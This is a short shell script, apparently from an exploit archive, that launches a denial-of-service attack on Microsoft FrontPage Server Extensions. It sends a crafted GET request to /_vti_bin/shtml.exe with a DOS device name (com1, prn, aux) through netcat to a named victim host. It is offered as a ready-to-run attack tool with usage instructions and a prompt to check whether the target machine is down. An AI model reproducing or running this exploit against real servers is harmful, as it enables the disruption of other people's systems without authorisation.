Frontpage Server Extension shtml.exe denial of service attack. Based on an advisory by www.xato.net. Vulnerable systems include Microsoft Windows 95, 98, NT 4.0 and NT 2000.
43d752f3668ac471fb7f9b5cda917b5b2b09dc06934f38381a453cd6dfb342d1
##############################################
# Frontpage Server Extension shtml.exe DoS
##############################################
# advisory by : www.Xato.net
# coded by : grazer@hit2000.org
##############################################
# Devices who can cause a machine to crash are
# com1, prn, aux
#
# http://grazer.gz.ee
# looking for a team to join
#
# Vulnerable:
# Microsoft Windows 98
# Microsoft Windows 95
# Microsoft Windows NT 4.0
# Microsoft Windows NT 2000
#
#!/bin/sh
port=80
nc=/bin/nc
function usage {
clear
echo Usage : sh $0 "<frontpage.victim> <device>"
echo Example : sh $0 www.frontpage.com prn
echo " by grazer "
}
if [ $2x = x ]; then
usage
exit 1
fi
if [ -s $nc ]; then
clear
echo Starting Denial of Service..
echo "GET /_vti_bin/shtml.exe/$2.htm" |nc $1 $port
echo Now check if the machine is down.
else
clear
echo No NetCat found at $nc
exit 1
fi
# www.hack.co.za [6 September 2000]#